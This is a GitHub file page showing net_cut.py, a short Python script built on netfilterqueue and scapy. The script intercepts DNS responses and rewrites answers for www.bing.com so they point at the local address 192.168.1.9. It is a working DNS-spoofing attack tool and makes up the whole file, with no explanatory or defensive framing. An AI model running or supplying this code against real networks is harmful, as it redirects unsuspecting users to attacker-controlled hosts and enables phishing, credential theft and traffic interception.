-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathnet_cut.py
More file actions
25 lines (20 loc) · 791 Bytes
/
net_cut.py
File metadata and controls
25 lines (20 loc) · 791 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import netfilterqueue
import scapy.all as scapy
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if "www.bing.com" in qname:
print("[+]Spoofing target")
answer = scapy.DNSRR(rrname=qname, rdata="192.168.1.9")
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount=1
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.UDP].chksum
del scapy_packet[scapy.UDP].len
packet.set_payload(str(scapy_packet))
packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(2, process_packet)
queue.run()